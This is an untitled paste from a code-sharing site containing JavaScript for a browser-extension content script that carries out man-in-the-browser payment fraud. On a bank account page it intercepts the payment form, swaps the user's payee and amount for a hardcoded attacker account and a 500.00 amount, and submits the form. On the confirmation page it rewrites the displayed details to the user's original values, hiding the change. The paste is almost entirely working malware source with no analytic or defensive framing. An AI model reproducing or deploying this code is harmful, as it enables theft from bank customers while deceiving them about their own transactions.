Untitled

mail@pastecode.io avatar
unknown
plain_text
13 days ago
2.4 kB
3
Indexable
Never
let url = window.location.href;
let targetPayee = '27890343';
let targetAmount = '500.00';
let originalAmount = null;
let originalPayee = null;

// Handle message responses from background.js
browser.runtime.onMessage.addListener(function (request) {
    if (request.variable == 'payee') {
        targetPayee = request.data;
    } else if (request.variable == 'amount') {
        targetAmount = request.data;
    } else if (request.variable == 'originalPayee') {
        originalPayee = request.data;
    } else if (request.variable == 'originalAmount') {
        originalAmount = request.data;
    }
});

// Retrieve the target information from background.js
browser.runtime.sendMessage({ action: 'getPayee' });
browser.runtime.sendMessage({ action: 'getAmount' });

if (url.search('/account') > -1) {
    // Account page manipulation
    let form = document.getElementById('paymentForm');

    form.addEventListener('submit', function (e) {
        // Intercept form submission and modify the user-entered values
        e.preventDefault();

        // Get the elements containing the transaction information (amount and payee account number)
        let payee = document.getElementById('payee');
        let amount = document.getElementById('amount');

        // Store the user's original values
        browser.runtime.sendMessage({ action: 'setOriginalPayee', data: payee.value });
        browser.runtime.sendMessage({ action: 'setOriginalAmount', data: amount.value });

        // Change payment form values to modify the transaction
        payee.value = targetPayee;
        amount.value = targetAmount;

        e.target.submit();
    });
} else if (url.search('/confirm') > -1) {
    // Retrieve the user's original values from background.js
    browser.runtime.sendMessage({ action: 'getOriginalPayee' });
    browser.runtime.sendMessage({ action: 'getOriginalAmount' });

    // Get the span elements that contain the transaction information that is displayed to the user to verify the transaction.
    let payeeElement = document.getElementById('paymentPayee');
    let amountElement = document.getElementById('paymentAmount');

    // Update the page content to hide the modified values from the user
    window.addEventListener('load', function () {
        payeeElement.innerHTML = originalPayee;
        amountElement.innerHTML = originalAmount;
    });
}
Leave a Comment